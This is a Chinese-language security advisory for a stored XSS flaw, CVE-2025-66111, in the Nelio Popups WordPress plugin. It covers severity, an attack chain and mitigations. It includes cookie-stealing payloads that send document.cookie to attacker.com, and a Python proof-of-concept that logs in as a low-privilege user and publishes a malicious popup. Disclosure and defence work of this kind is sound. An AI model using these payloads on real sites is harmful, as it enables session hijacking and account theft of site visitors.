CVE-2025-66111 Nelio Popups插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-66111

漏洞类型

存储型XSS

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Nelio Popups (WordPress插件)

漏洞概述

CVE-2025-66111是WordPress插件Nelio Popups中的一个存储型跨站脚本(XSS)漏洞。该漏洞由于插件在处理用户输入时未对特殊字符进行充分过滤和转义，导致攻击者可以在弹窗内容中注入恶意JavaScript代码。这些恶意代码会被永久存储在数据库中，当其他用户访问包含该弹窗的页面时，恶意脚本会自动执行，从而窃取用户的会话Cookie、劫持用户账号或进行其他恶意操作。由于该漏洞需要低权限用户（如订阅者）即可实施，且攻击代码存储在服务端，因此具有较高的隐蔽性和持续危害性。CVSS评分6.5，属于中等严重程度，主要影响需要用户交互的场景。

技术细节

该存储型XSS漏洞存在于Nelio Popups插件的弹窗内容处理模块中。漏洞的根本原因是在将用户提交的弹窗标题、内容或配置参数存储到数据库时，缺少对HTML特殊字符（如<、>、"、'等）的正确转义处理。当管理员或其他用户访问包含该弹窗的页面时，存储的恶意JavaScript代码会被浏览器解析执行。攻击者可以利用WordPress的订阅者或贡献者角色创建包含XSS payload的弹窗，payload如：<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>等。由于Nelio Popups插件的弹窗功能会在网站多个位置自动加载，攻击者只需创建一次恶意弹窗即可实现对所有访问者的持续攻击。

攻击链分析

STEP 1

步骤1

攻击者使用低权限账号（如WordPress订阅者）登录目标网站

STEP 2

步骤2

攻击者访问Nelio Popups插件的弹窗创建或编辑功能

STEP 3

步骤3

攻击者在弹窗标题、内容或配置字段中注入恶意XSS payload

STEP 4

步骤4

恶意payload被存储到数据库中，由于缺乏输入验证和输出转义

STEP 5

步骤5

当其他用户访问包含该弹窗的页面时，恶意脚本被浏览器执行

STEP 6

步骤6

攻击者通过窃取的Cookie劫持用户会话或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import re

# Target WordPress site
target_url = "http://target-wordpress-site.com"
# Nelio Popups plugin endpoint
plugin_url = f"{target_url}/wp-json/nelio-popups/v1/popups"

# XSS Payload - Cookie stealing example
xss_payload = '''<script>
var img = new Image();
img.src = "https://attacker.com/log?c=" + encodeURIComponent(document.cookie);
</script>'''

# Authentication (low privilege user like subscriber)
# Login to WordPress and get nonces
session = requests.Session()
login_data = {
    'log': 'attacker_username',
    'pwd': 'attacker_password'
}

# Login
login_url = f"{target_url}/wp-login.php"
resp = session.post(login_url, data=login_data)

# Get WordPress nonce for REST API
nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=rest-nonce"
resp = session.get(nonce_url)
nonce = resp.text

# Create malicious popup with XSS payload
popup_data = {
    'title': 'Malicious Popup',
    'content': xss_payload,
    'status': 'publish',
    '_wpnonce': nonce
}

# Send request to create popup
headers = {
    'Content-Type': 'application/json',
    'X-WP-Nonce': nonce
}
resp = session.post(plugin_url, json=popup_data, headers=headers)

print(f"Popup created with status: {resp.status_code}")
print("Payload will execute when users visit pages with this popup.")

影响范围

Nelio Popups <= 1.3.0

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1) 临时禁用Nelio Popups插件；2) 限制低权限用户创建和编辑弹窗的权限，仅允许管理员操作；3) 使用WordPress安全插件如Wordfence或Sucuri监测异常请求；4) 配置严格的Content Security Policy头部；5) 实施双因素认证以防止账户被盗用；6) 定期审计网站日志，排查可疑活动。